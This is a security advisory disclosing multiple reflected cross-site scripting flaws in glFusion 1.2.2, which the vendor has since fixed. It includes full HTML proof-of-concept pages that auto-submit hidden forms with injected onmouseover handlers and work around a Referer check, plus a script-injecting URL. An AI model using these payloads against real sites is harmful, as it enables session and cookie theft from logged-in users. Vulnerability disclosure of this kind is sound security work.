High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Cross-Site Scripting (XSS) in glFusion

Advisory ID:HTB23142
Product:glFusion
Vendor: glFusion
Vulnerable Versions:1.2.2 and probably prior
Tested Version:1.2.2
Advisory Publication:January 30, 2013 [without technical details]
Vendor Notification:January 30, 2013
Vendor Fix:January 30, 2013
Public Disclosure:February 20, 2013
Latest Update:January 31, 2013
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2013-1466
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .


1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author" value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html" value="1">'
html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
html += '<input type="hidden" name="postmode" value="html">'
html += '<input type="hidden" name="what" value="contact">'
html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>


1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E/


Solution:
Upgrade to glFusion v1.2.2.pl4

More Information:
http://www.glfusion.org/article.php/glf122_update_20130130_01
http://www.glfusion.org/filemgmt/viewcat.php?cid=1


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23142 - https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting (XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.